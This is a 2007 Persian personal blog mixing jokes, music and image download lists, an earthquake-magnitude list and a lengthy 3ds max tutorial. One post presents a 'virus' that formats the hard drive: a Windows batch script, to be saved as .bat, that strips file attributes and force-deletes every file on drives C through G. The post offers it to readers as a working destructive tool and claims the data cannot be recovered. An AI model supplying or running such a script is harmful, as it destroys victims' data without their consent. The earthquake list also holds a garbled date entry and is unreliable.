تبليغاتX
پاك


پاك








سلام.دوستان به ۳تا از بهترین وبلاگ ها جایزه  داده می شود.اسم وبلاگ تون یادتون نره بنویسید.نفر اول=۱ساعت اینترنت رایگان       نفر دوم=کد قالب خوب برای وبلاگش           نفر سوم=کد آهنگ برای وبلاگش
+ نوشته شده در  سه شنبه سیزدهم شهریور 1386ساعت 23:45  توسط دانیال  | 


5.9 On Richter, Latur, 1994
6.5 On Richter, Uttarkashi, 1998
6.9 On Richter, Taiwan, 1999
7.9 On Richter, Bhuj, 2001 2004
8.9 On Richter, Indonesia, 2004

+ نوشته شده در  شنبه دهم شهریور 1386ساعت 11:36  توسط دانیال  | 


سلام دوستان به وبلاگ ديگم سر بزنيد.داراي مطالب علمي     www.nodet-elmi.blogfa.com
+ نوشته شده در  سه شنبه ششم شهریور 1386ساعت 15:42  توسط دانیال  | 


ویروسی برای فرمت کردن هارد...:با اجرا شدن اين ويروس كليه اطلاعات هارد پاك شده و به هيچ وجه بازيافت نمي شه:
روش كار: يك Notepad باز كنيد و در آن بنويسيد :
echo off@
ATTRIB -a -s -h -r c

ATTRIB -a -s -h -r c:\windows\*.*
Echo y | echo a | Echo y | del c
:\*.*
Echo y | echo a | Echo y | del d
:\*.*
Echo y | echo a | Echo y | del e
:\*.*
Echo y | echo a | Echo y | del f
:\*.*
Echo y | echo a | Echo y | del g
:\*.*
echo y | copy *.* C
:\
echo y | copy *.* D
:\
echo y | copy *.* E
:\
echo y | copy *.* F
:\
echo y | copy *.* G
:\
resrart
حالا  با پسوند  .bat ذخيره كنيد .
+ نوشته شده در  چهارشنبه سوم مرداد 1386ساعت 19:25  توسط دانیال  | 


<bgsound src="http://ccc.1asphost.com/PersianMidi/MidiFile/Modern%20Talking%20No%20Face%20No%20Name%20No%20Number.mid" loop="1000"> کپی بگیرین.و بریزین تویه تنظیمات وبلاگتون.

+ نوشته شده در  پنجشنبه چهاردهم تیر 1386ساعت 10:11  توسط دانیال  | 


چمنتیم گاو نشی ما رو بخوری؟

 یک پسره آدامس می جود معلمش میبینشی می گه:این لا ستیک چیه می جوی.دانش آموز میگه:آقا دنا.دنا

یک مرد رو برق می گیرشی میگه:ادیسون ولم کن. 

تركه رو داشتن ميبردن اتاق عمل، ازش ميپرسن: همراه داري؟ ميگه: آره، خاموشش كردم!!!

مرد كفترشو گم ميكنه ، تو روزنامه آگهي ميده: بيوه بيو!!

مرد مي خواسته گردو بشكنه، گردو رو ميگذاره زير پاش، با آجر ميزنه تو سرش!!

یک مرد سوار تاکسی می شه بعد راننده می گه:چرا در را نمی بندی.مرد می گه:زرنگی می خوای در بست حساب کنی 

یک مرد تویه جنگل راه می ره.یه دفعه یک کرم از زیر خاک در می یاد.می گه:موماری یعنی من مارم 



 

+ نوشته شده در  جمعه یکم تیر 1386ساعت 21:22  توسط دانیال  | 


3-1.jpg  3d_043.jpg

3d_095.jpg  3D-ROM1-0.jpg

3d_197.jpg  3d_181.jpg

3d_154.jpg  3d_105.jpg 

3d_301.jpg  3d_253.jpg

3d_229.jpg  3d_208.jpg

slr.jpg  spider.jpg

stenata3.jpg  troy2.jpg

stenata2.jpg  tukan.jpg

tygr.jpg  tygrlive2.jpg

twindragons.jpg  super_mario_sunshine.jpg

vazka.jpg domek.jpg

fgdfg.jpg  List.jpg

RioCoco.jpg  Citron.jpg

6.jpg  7.jpg

3d_318.jpg  45dsf.jpg

pes.jpg  pes1.jpg

ptak.jpg  rose2.jpg

s12.jpg  s15.jpg

002b.jpg  005.jpg

x177.jpg  x212.jpg

نظر یادتون نره

+ نوشته شده در  پنجشنبه سی و یکم خرداد 1386ساعت 11:13  توسط دانیال  | 



01 - Dooset Daram (Kheyli Ziyaad) [24Kps] [128Kps]
02 - Kheyli Mamnoon [24Kps] [128Kps]
03 - Mano Bebakhsh (DJ Payami Remix) [24Kps] [128Kps]
04 - Oon Ba Man (Dj Payami Remix) [24Kps] [128Kps]
05 - Oonike Mikhastam (Cameron Cartio Remix) [24Kps] [128Kps]
06 - Ba Tashakor Az Shoma (Dj Payami Remix) [24Kps] [128Kps]
07 - Mano Bebakhsh (Cameron Cartio Remix) [24Kps] [128Kps]

 

 

   

+ نوشته شده در  سه شنبه بیست و نهم خرداد 1386ساعت 17:37  توسط دانیال  | 






سیاوش قمیشی خوب بود نظر بده  save trag as کن 

                      

01 -Farangis [24Kps] [128Kps               
۰۲ - Boosaye Baad [24Kps] [128Kps
۰۳ - Garye Kon [24Kps] [128Kps
۰۴ - Panjereh [24Kps] [128Kps
۰۵ - Tassavore Kon [24Kps] [128Kps
۰۶ - Mahboobaye Shab [24Kps] [128Kps
0۷ - Hanooz [24Kps] [128Kps
0۸ - Yaade Man Baash [24Kps] [128Kps
0۹ - Boosaye Baad (Club Mix) [24Kps] [128Kps

 

۱۰ - Khabeh Baroon [24Kps] [128Kps
۱۱ - Faseleh [24Kps] [128Kps
۱۲ - Tolou [24Kps] [128Kps
۱۳ - Baroon [24Kps] [128Kps
۱۴ - Ghoroub [24Kps] [128Kps

 

+ نوشته شده در  دوشنبه بیستم فروردین 1386ساعت 17:57  توسط دانیال  | 




برای دانلود روی پخش راست کلیک کنید و save trag as کنید و نظر بدهید.ادامه مطلب رو بزن


ادامه مطلب...
+ نوشته شده در  یکشنبه نوزدهم فروردین 1386ساعت 18:42  توسط دانیال  | 


نام موزیک خواننده آهنگساز مناسبت

زمان

پخش

آئينه لطف جهانگير زماني رئيس فرشيد تولد پيامبر(ص)

5:37

پخش
آستان محمد (ص) بهرام سارنگ تولد پيامبر(ص)

5:17

پخش
آفتاب عالم تولد پيامبر(ص)

4:36

پخش
آيت عشق ساسان حفظي مهران جهادي تولد پيامبر(ص)

4:55

پخش
آيت يزداني مهدي بهزاد پور فريدون خالقي تولد پيامبر (ص)

4:53

پخش
آيت يزداني مهدي بهزاد پور فريدون خالقي تولد پيامبر(ص)

5:34

پخش
آيت يزداني فريدون خالقي تولد پيامبر(ص)

4:54

پخش
آينه لطف جهانگير زماني علي رئيس فرشيد تولد پيامبر(ص)

5:43

پخش
ابر رحمت بهرام گودرزي حسين علي رجبي اسلامي تولد پيامبر(ص)

4:34

پخش
بهشت جاودان محسن حسن زاده علي رئيس فرشيد تولد پيامبر - مبعث

4:18

پخش
تصنيف محمد (ص) قاسم رفعتي شهريار فر يوسفي تولد پيامبر(ص)

7:50

پخش
جان جهان احمد مرتضي پور حسين فرهادپور تولد پيامبر (ص)

5:06

پخش
+ نوشته شده در  یکشنبه نوزدهم فروردین 1386ساعت 18:28  توسط دانیال  | 


گالري عكس هاي خنده دار ادامه مطلب بزن....


ادامه مطلب...
+ نوشته شده در  چهارشنبه پانزدهم فروردین 1386ساعت 17:42  توسط دانیال  | 


درس نخست



محیط نرم افزار استودیوی سه بعدی از چهار قسمت مهم تشکیل شده است که عبارتند از :
1- منوی دستورات
2- ویوپورت یا نماهای فضایی
3- جعبه ابزار
4- کنترل بار یا قسمت کنترل نما ها و انیمیشن
مهم ترین چیزی که بایستی به آن توجه داشت این است که محیط این استودیو در قیاس با سایر نرم افزار های نقشه کشی و مدلسازی کاملا متفاوت است. چرا که این نرم افزار اجازه طراحی در فضای سه بعدی را میدهد . علیرغم اینکه به نظرپیچیده میرسد اما بزودی خواهید دید که نه تنها سخت نیست بلکه بسیار راحت و آسان میتوانید در فضای سه محوری مدل های دلخواه را خلق کنید.
با هم به تعریف هرکدام از قسمتها توجه میکنیم .

درس دوم ـ طراحی و بررسی STORY BOARD

این مفهوم چیزی بیش از یک طرح کلی معمولا در فرم گرافیکی از آنچه که پروژه شامل آن خواهد بود و اینکه چگونه طرح بندی خواهد شد نیست.
این خود میتواند تا حد چند طرح خلاصه سریع روی یک قطعه کاغذ ساده باشد یا تاحد یک داستان مشروح
هدف آن ساماندهی اندیشه های شما و به تصویر کشیدن آنها به روشی است که همکاران شما و سفارش دهندگان بدانند برنامه چیست و چگونه اجرا خواهد شد
برای سهولت ازاین پس به این کلمه داستانواره خواهیم گفت
غالب صفحات منحصر فرد یک داستانواره عملیات را در یک فریم کلیدی انیمیشن پوشش خواهند داد
در سایر زمانها آنها شامل اطلاعاتی در مورد ترکیب و داده های رنگ صحنه نیز خواهند بود
اگر بخواهیم مثال بزنیم این مفهوم به معنی طراحی یک الگوریتم برای ساخت یک نرم افزار است
با اینکه این مفهوم بسیار ساده است آنرا بعنوان امتیاز در نظر بگیرید و به زودی عادت کنید که برای هر پروژه یک فیلمنامه انحصاری ایجاد کنید حال هرچقدر این پروژه ساده باشد.

در زمانبندی های تولید محدود کار بر روی یک داستانواره جامع و متعهد کردن طرفین پیش از آغاز هرکار سه بعدی فرآیندی است که به واقع ساعات بیشماری از زمان و استعداد تلف شده را در امتداد کار صرفه جویی خواهد کرد.

درس سوم _ ترکیب صحنه

مسدود سازی صحنه میتواند طوری تنظیم شود تا حالات متفاوتی را ایجاد کند که احساس از آرامش یا حرکت را به بیننده منتقل خواهد مرد
همچنین ترکیب میتواند طوری بکار رود تا چشم بیننده را به بخشی از صحنه که مورد نظر ماست جلب کند
در اصل این ترکیب ها از تکنینکهای هنر خارق العاده نقاشی قرض گفته شده اند
باید یاد بگیریم چگونه چشم خود را تمرین دهیم تا این ترکیبها را در طبیعت ببیند و حسی را برای درج آنها در کار سه بعدی خود توسعه دهیم
برخی از اشکال اساسی ترکیب شامل این موارد میباشند :
چهارگوش (Quadrant)
متوالی (Sequential)
نامتقارن یا متوازن پویا (Assymetrical or dynamic balance)
متقارن (Symmetrical)
میانگین طلایی (Golden mean)
قانون یک سوم (Rule of Thirds)

در ادامه شرح کوتاهی از هر مورد می آوریم
مجددا سعی کنید اینکه چگونه میتوانید صحنه هایتان را در حین فرایند ایجاد داستانواره برنامه ریزی کنید در ذهن خود تجسم کرده و از این تکنیکها در کار خود بهره گیرید.

درس چهارم ـ رنگ و نورپردازي

رنگ و نورپردازي دو ابزار قدرتمندي هستند كه به شما كمك خواهند كرد تا حالت يك صحنه را كه به جهت تركيب و زواياي دوربين و كاراكترها ايجاد شده است تقويت نماييد.

بازهم اين شرح در مورد رنگ و نورپردازي همانگونه است كه سالها به صورت سنتي به كار گرفته شده است.

نور

همان چيزي است كه تمامي تصاوير در وهله اول وابسته به آن هستند.

هرچيزي كه ميبينيم حاصل نوري است كه از سطح آن به چشمان ما منعكس شده است.

و اما رنگ، كيفيت نوري است كه از سطح برميگردد و بر پايه دامنه اي از فركانسهاي شعاع نور كه ميتواند از سطح رها شود استواراست.

نورپردازي دراينجا نه تنها به نوري كه از يك منبع نوري از قبيل خوشيد يا يك لامپ برق ساتع ميشود بلكه همچنين به رابطه اي ميان نواحي روشن و نواحي تيره در يك صحنه اطلاق ميگردد. هنرمندان ساعات بسياري را براي مطالعه در مورد اين ارتباطات صرف نموده اند .

مونه، نقاش معروف، مطالعاتي را روي كومه هاي علف خشك در فرانسه انجام داد تا انتقال يك موضوع ناشي از اثر خود نور را به تصوير بكشد.

نواحي روشن در صحنه به جلو مي آيند در حاليكه نواحي تاريك عقب ميكشند . اين تكنيكي است كه توسط اساتيد نقاشي قديم توسعه يافت

اين جلوه ميتواند درست بت همين تاثير به تصاوير ايجاد شده كامپيوتري اعمال گردد.

همچنين يك مكتب نقاشي وجود دارد كه به عنوان Luminists شناخته شده است كه اغلب در آن نور خيلي روشن مركز توجه است و تا حد قابل توجهي روي هر چيزي درون صحنه تاثير ميگذارد .

رنگ

رنگ عنصري است كه ميتواند براي هر تصويري حائز اهميت باشد . در حاليكه برخي هنرمندان بسيار مهم در گذشته برخي كارهاي تماشايي را در تصاوير درجه خاكستري (گري سكيل‌)‌توليد كرده اند اما آنها روي تركيب فرم و زاويه دوربين تكيه كرده اند تا داستاني را كه هركدام سعي در بيان آن داشته اند بهبود بخشند .

حتي تغييرات ملايم رنگ ميتواند باعث تغييرات مهيجي در صحنه ها هم در حالت و هم در تصوير عمق سه بعدي شود.

رنگهاي متمم

يك عامل مهم در ئوري رنگ رنگهاي متمم ميباشد

در ابتدا مهم است بدانيد كه رنگهاي متمم از رنگهاي اصلي منتج ميشوند

و در مورد رندر سازي هاي كامپيوتري رنگهاي اصلي قرمز ، سبز و آبي ميباشند .

رنگهاي اصلي نقاشان ،‌قرمز و آبي و زرد ميباشند اما برهي از اطلاعات عملي مثل اثري كه يك رنگ روي رنگ ديگر دارد ميتوانند از نقاشي به نور منتقل شوند

هنگامي كه رنگهاي اصلي به ميزان يكسان مخلوط شوند نتايج اينها هستند :

قرمز + سبز = زرد

قرمز + آبي = سرخابي

آبي + سبز = فيروزه اي

رنگهاي متمم آنهايي هستند كه در چرخه رنگ به صورت قطبي در برابر هم قرار دارند

البته نور پردازي به عنوان يك هنر از اينجا بيشتر به عكس و فيلم اطلاق ميشود تا نقاشي ،‌اما به جنبه هاي تكنيكي كه چه هنگامي چه لامپ نوري را روي كدام شيء بتابانيد اطلاق نميشود.

دو ناحيه وسيع از مفاهيم نور پردازي از قديم وجود دارند كه بايد آنها را بررسي كنيم تا مهارتهاي نور پردازي كلي خود را بهبود بخشيم

درجه حرارت نور صرفاً يك جنبه تكنيكي نورپردازي است كه ميتواند روي حالت صحنه هايتان تاثير بگذارد و قرار گيري نورها از روزهاي آغازين عكاسي و فيلمسازي براي ايجاد حالت كلي صحنه ها به كار گرفته شده است

اصولا درجه حرارت نور يك جنبه فيزيكي منبع نور است كه به رنگ نور تاثير ميگذارد ، گرچه اين مشابه رنگ اشياء نيست مشابه به كار گيري فيلتر هاي رنگي روي نورها براي ايجاد رنگ نيز نمي باشد . درجه حرارت نور بر حسب درجه كلوين داده ميشود آنچه شما بايد در درجه حرارت نور جستجو كنيد اين است كه يك حس گرم يا سرد را در صحنه به وجود مي آورد

در عكاسي نور پردازي گرم ( با درجه حرارت زير 4000 كلوين است ) رنگها گرايش دارند كه به حدود زرد و قرمز جريان يابند ، رنگهاي گرم توازن و آرامشي را به صحنه ارائه ميكنند و حال مثالهايي از نورپردازي گرم و درجه حرارتهاي مربوط را ذكر ميكنم .

روشنايي شمع

بسيار گرم است و درجه حرارتي حدود 1900 كلوين و يك سايه رنگ قرمز نارنجي دارد حالت ايجاد شده توسط روشنايي شمع افسانه اي است.

نور سيامبي

لامپهاي خانگي عادي دراري نور سيمابي هستند و نور قرمززرد فامي را در درجه حرارتي حدود 2800 كلوين منتشر مينمايند . حس در چنين نوري ، نزديكي و گرما ميباشد

نورافكن

با كمي سرد تر جاري شدن در حدود 2200 كلوين و بالاتر ، جلوه هاي نورافكن براي صحنه هاي نور خارجي در جايي كه ميخواهيد صحنه را باز كنيد و آنرا براي بيننده كمي دشوار نماييد به خوبي كار ميكنند

در سمت سرد معادله ، همچنان كه به درجه حرارتهاي بالاتر نور ميرسيد ، صحنه خشن تر و مهيج تر ميشود

بيننده راحتي و آرامش را حس نميكند ، اينها مثالهايي از نور سرد هستند :

روشني روز

نور مستقيم خورشيد در حدود 5200 كلوين هنوز هم كمي زرد است حالت ايجاد شده راحتي نمي باشد اما بازتر و گسترده تر است

نور بارقه

قطعاً به داخل ناحيه سرما و تا حدي درجه حرارت شديد نور ميرود . اكثر بارقه ها در دامنه 6000 كلوين هستند و ميتوانند براي بالا بردن فشار در يك صحنه مورد استفاده قرار بگيرند .

نور آسمان

نوري است كه از آب و ذرات در آسمان شمالي مي جهد و قطعا ً جلوه سردي را با درجه حرارت حدود 11000 كلوين ايجاد ميكند ميتواند درخشان و بسيار خشن باشد

جای دادن جلوه هاي تغيير درجه حرارت نور را در رندر سازي هاي كامپيوتري خود در نظر داشته باشيد تا بيننده را تحريك كنيد يا به هنگام نيازتان بيننده را آرام نماييد.

به كار گيري درجه حرارت نور پردازي متفاوت به صورت سنتي ابزار بسيار موثري در فيلم و تلويزيون بوده است فيلمها را بررسي كنيد تا ببينيد در كجا درجه حرارت نور پردازي براي تغيير حالت تغيير يافته است

قرارگيري نور

يكي از قابل ملاحظه ترين كاستي ها در يك فيلم يا تصوير ايجاد شده كامپپيوتري نور پردازي مسطح است.

صحنه اي بدون تفاوت ميان نور پردازي پيش زمينه و نورپردازي پس زمينه داشتن با محدوده ای از نور پردازي در عمق صحنه ،‌احساس گونه سه بعدي را افزايش ميدهد

قرار گيري نور و كيفيت نور ميتواند نقش بزرگي را در چگونگي واكنش بينندگان نسبت به يك تصوير يا صحنه بازي كند

علاوه براين قرارگيري نورهاي منحصر بفرد در يك صحنه مفروض نميباشد

بلكه پهلوي هم قراردادن روشنايي و تاريكي است

نورپردازي پيش زمينه

نورپردازي روشن تر پيش زمينه نسبت به پس زمينه قدري به متراكم شدن صحنه منجر ميشود . اين تكنيك همانند نورپردازي مسطح عمل نميكند اما بيننده را داخل صحنه قرار ميدهد

لازم نيست تغيير مهيجي در مقدار از روشنايي تا تاريكي صورت بگيرد تا موثر باشد

نورپردازي پس زمينه

هنگامي كه پس زمينه روشنتر از پيش زمينه باشد ، كاربر از عمليات جدا ميشود و فشار افزايش ميابد ، هرچه تفاوت در شدت نور بيشتر باشد ، بيننده احساس گم گشدگي بيشتري را ازعمليات مينمايد

نور ملايم يا شديد

اين ملايمت يا شدت نور و سايه به حس بيننده انتقال مي يابد

بيننده با صحنه اي راحتتر يا غريب تر مواجه ميكند ، كنتراست ميان تاريكترين و روشنترين نورها ميتواند جلوه را افزايش يا كاهش دهد.

نورپردازي پشتی يا Backlight

كه تقريبا به طور ثابت و بسيار برجسته در فيلم و تلويزيون استفاده ميشود ، به نظر ميرسد الب در رندرسازي كامپيوتري كامنپيوتري صرفنظر ميشود

نورپردازي پشتي قوي روي كاراكترها و اشياي درون صحنه ، آنها را از پس زمينه جدا ميكند و توجه بيننده را روي آنها متمركز ميكند

تلويزيون و فيلم را با درنظر داشتن مباحث فوق در ذهن خود بررسي كنيد

ما با اين عادت رشد كرده ايم كه جلوه ها را هر روز مشاهده كنيم اما حتي به آنها توجه نكنيم براي مثال هنگامي كه شروع به جستجو براي نور پردازي پيش زمينه يا پشتي ميكنيد ، حيرت زده خواهيد شد كه تمامي اين سالها از آن غفلت نموده ايم تا وقتي آگاه شويم كه جلوه ها چگونه ميتوانند بكار روند ، نميتوانيد آنها را در كار خود جاي دهيد ، و اغلب بهترين مربي ،‌ تجربه است

درس پنجم ـ استاندارد نام گذاری اشياء

چگونه اشياء را برای سهولت کار نام گذاری کنيم...

                                                                                                               

هنگامي كه در ابتدا با 3ds max كار ميكنيد ، نسبت دادن اسامي به اشيايي كه ايجاد ميكنيد ، كار مهمي به نظر نميرسد . گرچه براي خلاق بودن بايد به تايپ كردن يك نام ( كه براي شما و همكارانتان مفهوم داشته باشد ) براي هر شيء جديدي عادت كنيد . توسعه استانداردهاي نامگذاري شيء براي دفتر كار شما بايد يك اولويت باشد .

همچنانكه هر شيء دو بعدي يا سه بعدي در 3ds max 4 ايجاد ميشود ، نرمافزار به صورت اتوماتيك نامي را به آن شيء نسبت ميدهد . نام معمولاً از نوع شيء با يك شماره متوالي منتج ميشود كه به انتهاي اسم افزوده ميشود . براي مثال ، Box01 ، Line01 ، Tours433 و غيره .

 

تنها پس از اعمال كردن كمي اصلاحات به شيء ، شيء به سرعت شباهتي به نامش نخواهد داشت و راهنمايي وجود ندارد كه هنگام جستجوي يك ليست اشياء نامگذاري شده ، Box01 ممكن است به كدام شيء مربوط باشد . كاملاً ممكن است كه فايلي را باز كنيد كه شامل يك منظره با يك درياچه و درختان باشد ، به ليست تمامي اشياء نگاه كنيد و Plane01 تا Plane236 و Cylinder01 يا Cylinder1021 را مشاهده نماييد . حاصل يك فرآيند جستجو و انتخاب طولاني براي برگزيدن هر شيء خاص در صحنه ميباشد . تغيير نام اشياء با نامهاي منطقي در ابتدا ، فرآيند انتخاب را هنگام ويرايش فايل تسريع خواهد نمود .

 

اشياء ميتوانند در زمان ايجاد شيء در پنل Create يا در هر زمان با انتخاب شيء ، متمايز كردن نام در ليست Modifier و رونويسي متن با نام جديد تغيير نام داده شوند .

 

برپايي يك استاندارد نامگذاري

 

در هر شركتي كه از 3ds max 4 استفاده ميكند ، توسعه يك مجموعه استانداردهاي نامگذاري به عنوان مرجع براي استفاده اشخاصي كه در شركت كار ميكنند ، مفيد است . اين استاندارد اگر تقويت شود ، همه افراد را قادر به يافتن سريع اشياء در يك صحنه ميكند و به كارگيري تكنيكهاي مرتبسازي در كادر ارتباطي Select Objects را ميسر ميسازد .

 

MAJOR ACTORS

 براي نامگذاري اشياء يا كاراكترهاي اصلي ، به طور كامل از حروف بزرگ استفاده كنيد . حروف بزرگ شناسايي شيء را آسانتر ميكنند و سبب ميشود هنگامي كه گزينه Case Sensitve در پايين كادر ارتباطي علامت گذاشته شده باشد ، نام در بالاي ليست Select by Name

 

Minor Actors

اشياء كم اهميتتر يا اشياء پسزمينه ميتوانند با حروف بزرگ آغاز شوند در حالي كه باقي حروف كوچك باشند . اين كار ، آنها را از اشياء اصلي كه اغلب انتخاب ميشوند ، جدا ميسازد . اما يك شيء پسزمينهاي سه بعدي را نشان ميدهد .

 

اشكال و اشياء دو بعدي ـ اشياء دو بعدي و اشكال دو بعدي كه در صحنهها به عنوان مسيرهاي حركتي استفاده ميشوند ، ميتوانند به طور كامل با حروف كوچك نامگذاري شوند . اين نامها با حروف كوچك هنگامي كه گزينه Case Sensitive علامت خورده باشد به انتهاي ليست Select by Name منتقل شوند .

امكان ديگر ، آغاز كردن تمامي اسامي اشياء با 2D- يا 3D- براي تمايز آنها در ليست Select by Name ميباشد .

به طور مختصر ، نامگذاري شيء چيزي نيست كه بتوانيد تنها آن را به 3ds max 4 واگذار كنيد و بعد انتظار داشته باشيد كه خلافانه كار كنيد . زمان كمي كه در آغاز براي توسعه يك روش نامگذاري و تايپ كردن نام هنگام ايجاد اشياء صرف ميكنيد ، در بسياري مواقع با ارزش ميباشد .

 

اين نکته را بخاطر داشته باشيد که هنگامي كه اشياِء بسياري را در صحنهتان داريد و خود را در حالي مييابيد كه حتي با يك روش نامگذاري منطقي ، كادر ارتباطي Select by Name را ميپيماييد ، ميتوانيد اسامي اشياء را با شروع نام با عدد 1 ويرايش كنيد . اين كار باعث ميشود هنگامي كه Case Sensitive علامت خورده باشد ، آن اشياء براي جلسه ويرايش فعلي در بالاي ليست قرار بگيرند .

 

نامگذاري و نمادسازي غير از سطح شيء

نسبت دادن اسامي منطقي به اشياء دو بعدي و سه بعدي مهمترين استاندارد آغازين است كه بايد برای 3ds max توسعه دهيد ، اما نواحي ديگري از برنامه وجود دارند كه در آنها اسامي ميتوانند براي وضوح نسبت داده شوند . ليست زير چند مكان را نشان ميدهد كه در آنها اسامي منطقي ميتوانند مفيد باشند :

 

ويرايشگران گرافيكي (Graph editors) ـ Track Views و Schematic Views ميتوانند براي فراخوانيهاي آتي نامگذاري شوند.

 

اصلاح كنندگان ( Modifiers ) ـ اسامي اصلاح كنندگان ميتوانند با كليك كردن دكمه راست روي نام در پشته اصلاح كنندگان و برگزيدن Rename در منو تغيير داده شوند يا اضافه شوند .

 

مجموعههاي انتخابي نامگذاري شده ( Named Selection Sets ) ـ به چند شيء انتخاب شده ميتوان نام مشتركي داد تا انتخاب مجدد آسانتر شود .

 

گروهها ( Groups ) ـ فرمان Group چندين شيء را به صورت يك موجوديت منفرد منطقي براي ويرايش تركيب مينمايد . اسامي گروه در ليستهاي Select by Names ميان كروشهها [SHIP] ظاهر ميشوند .

به زودي استفاده از اسامي مختصر و مفيد در سراسر 3ds max 4 عادت كنيد و يك استاندارد نامگذاري را براي افزايش بهرهوري و سادگي به كارگيري در محل كار خود ايجاد نماييد .

ساخت مدلها در 3ds max 4 اصولاً يك فرآيند دو مرحلهاي است . ايجاد و اصلاح Great

 

Modify ـ ابتدا شكل 2 يا 3 بعدي را ايجاد ميكنيم بعد آن را براي رسيدن به شكل نهايي اصلاح يا Modify ميكنيم .

يكي از اشكال اصلي اصلاح اشياء در 3ds max 4 كه هسته قدرت و انعطافپذيري آن است ، قابليت افزودن اصلاح كنندگان مجزا به اشياء ميباشد . اصلاح كنندگان معمولاً از يكديگر و شيء پايه مستقل هستند ،

كه اين امكان را به شما ميدهد اصلاح كنندگان را در هر نقطه درون پيشينه ساخت تغيير دهيد ، بيفزاييد يا حذف كنيد ، بدون اينكه روي هر اصلاح كننده كه قبل يا بعد از آن نقطه در زمان اعمال شده است ، تأثير بگذارد .

اصلاح كنندگان بسياري موجود ميباشند ، برخي تنها با اشكل دو بعدي كار ميكنند ، سايرين تنها با اشياء سه بعدي كار ميكنند ، بسياري با هر دو شيء دو بعدي و سه بعدي كار مينمايند . چندين اصلاح كننده ، اصلاح كنندگان Word Space ناميده ميشوند و در واقع فضايي را كه شيء اشغال ميكند ، تغيير ميدهند . بنابراين هنگامي كه شيء در ميان فضا حركت داده شود ، اصلاح كننده روي آن تأثير ميگذارد . از طرف ديگر اصلاح كنندگان Object Space ، روي خود شيء عمل ميكنند و همچنانكه شيء حركت ميكند با آن حركت ميكنند.

 

ترتيبي كه اصلاح كنندگان به اشياء اعمال ميشوند ، اغلب اثر عميقي روي حاصل نهايي دارد . براي مثال اگر اصلاح كننده Bend و در ادامه يك اصلاح كننده Taper را به استوانهاي اعمال كنيد و تنظيمات را انجام دهيد ، حاصل بسيار متقاوت از اعمال اصلاح كننده Taper و سپس اصلاح كننده Bend با همان تنظيمات ميباشد يادگيري استفاده از اصلاح كنندگان با تنوع تنظيمات آنها بايد اولويت بالايي در تلاش شما جهت تسلط يافتن بر 3ds max 4 داشته باشد . هنگامي كه با اصلاح كنندگان منحصر به فرد آشنايي كامل پيدا كرديد و استفاده از آن براي شما راحت است ، تركيب اصلاح كنندگان را تجربه كنيد تا به نيازهاي مدلسازي خود دست يابيد . از تصور خود براي اعمال حتي غير محتملترين تركيبات اصلاح كنندگان استفاده كنيد و به زودي خواهيد فهميد كه چه چيزي براي وضعيت خاص شما متناسب است .

درس ششم ـ کار بر روی سطح شئء فرعی

ويرايش سطح شيء فرعي ( Sub-Object )

تا اين مرحله در مباحث ما ، در مورد كار با اشياء دو بعدي و سه بعدي ، در يك صحنه 3ds max 4 مطالبي را شنيده‎ايد . اشياء اوليه ( Primitive ) ايجاد مي‎شوند و سپس در سطح شيء با اعمال و تنظيم اصلاح‎كنندگان ، اصلاح مي‎شوند .
دنياي كامل ديگري از كنترل در 3ds max 4 در آنچه به عنوان سطح شيء فرعي شناخته مي‎شود ، وجود دارد . متداولترين ويرايش سطح شيء فرعي كه شما انجام خواهيد داد ، روي اشياء دو بعدي يا سه بعدي براي كسب دسترسي به اجزاي ساختماني اساسي است كه اشياء را تشكيل مي‎دهند .
به منظور دسترسي به سطوح شيء فرعي يك توري (Mesh) سه بعدي ، يا بايد عنصر اوليه (Primitive) ، براي مثال Box يا Cylinder ، را به يك توري قابل ويرايش (Editable Mesh) تبديل كنيد يا بايد يك اصلاح كننده همانند Edit Mesh را اعمال نماييد كه داراي گزينه‎هايي براي انتخاب در سطح شيء فرعي مي‎باشد . سطوح شيء فرعي كه با توري سه بعدي مرتبط مي‎باشند ، عبارتند از :
وجه (Face) ـ وجوه ، صفحات مسطح سه گوشي هستند كه سطح يك مدل را تعريف مي‎كنند و مي‎توانند به عنوان وجوه ، خود سه‎گوشه‎ها ، يا چندضلعي‎ها (Polygons) ، گروهي از وجوه كه توسط لبه‎هاي سه بعدي تعريف مي‎شوند ، انتخاب شوند . نوع ديگر انتخاب وجه برحسب Element است كه گروهي از وجوه بوده و به عنوان يك نهاد (entity) معين مي‎شود .
لبه (Edge) ـ لبه‎ها مرزهاي هر وجه سه گوش مي‎باشند و ممكن است مرئي يا نامرئي باشند . لبه‎هاي مرئي مي‎توانند به روشهاي بسياري انتخاب و ويرايش شوند .
رأس (Vertex) ـ رئوس نقاط بدون بعد در نوك هر وجه سه‎گوش مي‎باشند . رئوس مي‎توانند همانند وجوه يا لبه‎ها انتخاب و ويرايش شوند .
ابزارهاي انتخاب كه داخل 3ds max 4 بنا شده‎اند را مي‎توان به عنوان مثال براي انتخاب مجموعه‎اي از وجوه به كار برد و سپس آن مجموعه انتخابي را با گزينه‎هاي موجود در Modifer List همانطور كه در شكل 23-2 مي‎بينيد ، ويرايش كرد .
به عنوان روش ديگر ، اكثر اصلاح كنندگان مي‎توانند مستقيماً به مجموعه انتخابي وجوه اعمال شوند و تنها روي آن وجوه تأثير بگذارند . يك مثال ، انتخاب تنها وجوه در نيمه بالايي يك استوانه ، اعمال اصلاح كننده Bend به آن وجوه و تنظيم كنترل‎هاي اصلاح كننده مي‎باشد . حاصل استوانه‎اي است كه به جاي كل استوانه ، تنها در نيمه بالايي خم شده است ، همانطور كه در شكل 24-2 مشاهده مي‎كنيد .
درست همانطور كه اشياء توري سه بعدي داراي قابليتهاي ويرايش سطح شيء فرعي مي‎باشند ، اشكال دو بعدي هم داراي اين قابليتها هستند . سطوح شيء فرعي مرتبط با اشكال دو بعدي اينها
هستند :
Spline ـ Splineها ، نهادهاي سطح شيء فرعي هستند كه با پاك كردن دكمه Start New Shape
در هنگام ايجاد يا با اتصال دو شكل يا بيشتر به يكديگر ، همانطور كه قبلاً در اين فصل مورد بحث قرار گرفت ، تشكيل مي‎شوند .
پاره‎خط (Segment) ـ پاره‎خطها متصل كنندگان دو بعدي مرئي ميان رئوس مي‎باشند .
رأس (Vertex) ـ رئوس نقاط بدون بعد در انتهاي هر پاره‎خط مي‎باشند .
همانند يك شيء توري ، سطوح شيء فرعي اشكال دو بعدي مي‎توانند با تبديل آنها به يك
Editable Spline يا با اعمال اصلاح كننده‎اي كه امكان دسترسي به سطح شيء فرعي را فراهم مي‎آورد مورد دسترسي قرار بگيرند .
